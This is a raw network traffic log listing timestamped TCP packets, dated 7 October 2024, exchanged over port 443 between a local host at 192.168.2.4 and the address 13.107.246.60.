Oct 7, 2024 03:04:22.129646063 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.129648924 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.129698992 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.129767895 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.129801989 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.136632919 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.136801004 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.136974096 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.138942957 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.139152050 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.139214039 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.151714087 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.151757002 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.151782990 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.151799917 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.161375046 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.161375999 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.161443949 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.161478996 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.164839029 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.164865017 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.164916992 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.165575027 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.165611982 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.165668011 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.165721893 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.165734053 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.165855885 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.165940046 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.166035891 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.166100979 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.166121006 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.166145086 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.166168928 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.592900991 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.593580961 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.593612909 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.594048977 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.594057083 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.690721989 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.690823078 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.690882921 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.690915108 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.690942049 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.690989971 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.691098928 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.691098928 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.691117048 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.691128016 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.694276094 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.694310904 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.694396973 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.694670916 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.694689035 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.779108047 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.779493093 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.779508114 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.779947996 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.779954910 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.813263893 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.813699007 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.813719034 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.814222097 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.814249992 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.842951059 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.846560001 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.846575975 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.846987009 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.846990108 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.872996092 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.873337030 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.873380899 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.873673916 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.873687983 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.881792068 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.881933928 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.881979942 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.882087946 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.882102966 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.882111073 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.882116079 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.884753942 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.884785891 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.884962082 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.885020971 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.885035992 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.913851976 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.913991928 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.914035082 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.914164066 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.914164066 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.914164066 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.914164066 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.916037083 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.916089058 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.916176081 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.916270018 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.916292906 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947442055 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947463036 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947515965 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.947525024 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947649002 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947668076 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.947676897 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947686911 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.947690964 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.947704077 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.947706938 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.949372053 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.949398041 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.949470997 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.949579000 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.949589968 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.972856998 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.972917080 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.972971916 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.972992897 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.973062038 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.973114014 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.973155975 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.973156929 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.973180056 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.973202944 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.975415945 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.975502014 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:22.975581884 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.975743055 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:22.975780010 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.224184990 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.224217892 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.382493973 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.383105040 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.383128881 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.383505106 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.383523941 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.491322994 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.491545916 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.491616964 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.491652966 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.491652966 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.491667986 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.491677999 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.494369984 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.494462013 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.494568110 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.494715929 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.494741917 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.552366972 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.552962065 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.553000927 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.553376913 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.553388119 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.566008091 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.566246986 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.566257000 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.566540003 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.566545010 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.594732046 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.595072031 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.595093966 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.595406055 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.595410109 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.630548954 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.630942106 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.631001949 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.631417990 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.631432056 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.652271032 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.652631044 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.652689934 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.652739048 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.652739048 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.652766943 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.652790070 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.655184031 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.655215025 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.655278921 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.655404091 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.655410051 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.671051025 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.671106100 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.671149969 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.671160936 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.671176910 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.671356916 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.671356916 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.671356916 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.673285007 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.673309088 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.673379898 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.673507929 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.673518896 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.696604967 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.696669102 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.696731091 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.696743011 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.696779013 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.696825981 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.696906090 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.696917057 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.696926117 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.696929932 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.698972940 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.699004889 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.699080944 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.699217081 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.699234009 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.736048937 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.736130953 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.736192942 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.736368895 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.736368895 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.736390114 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.736402988 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.738274097 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.738303900 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.738377094 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.738488913 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.738501072 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:23.974059105 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:23.974076033 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.149333000 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.149991035 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.150082111 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.150480032 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.150535107 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.249581099 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.249671936 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.249766111 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.249790907 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.249856949 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.249910116 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.249946117 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.250004053 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.250020027 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.252401114 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.252433062 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.252515078 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.252703905 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.252717018 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.305231094 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.305707932 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.305721998 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.306170940 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.306175947 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.311738014 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.312107086 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.312117100 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.312531948 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.312536955 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.371273041 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.371887922 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.371910095 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.372323990 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.372342110 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.387448072 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.387754917 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.387775898 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.388114929 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.388120890 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.404604912 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.404687881 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.404756069 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.404937029 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.404951096 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.404961109 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.404964924 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.407804966 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.407907009 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.408003092 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.408164978 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.408199072 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.411515951 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.411585093 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.411623955 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.411631107 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.411670923 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.411871910 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.411880016 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.411890030 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.411894083 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.413985968 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.414077044 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.414174080 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.414304972 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.414343119 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.474251032 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.474622965 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.474687099 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.474762917 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.474772930 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.474786997 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.474791050 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.477498055 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.477585077 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.477668047 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.477787018 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.477809906 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.488320112 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.488652945 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.488701105 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.488754034 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.488756895 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.488766909 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.488770962 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.490833998 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.490932941 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.491014004 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.491131067 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.491168022 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.935795069 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.936348915 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.936367989 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:24.936816931 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:24.936822891 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.040859938 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.041086912 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.041131020 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.041141987 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.041234970 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.041285038 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.044476032 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.044492960 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.044509888 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.044516087 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.049215078 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.049303055 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.049372911 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.049652100 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.049689054 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.066533089 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.067011118 CEST	49941	443	192.168.2.4	13.107.246.60
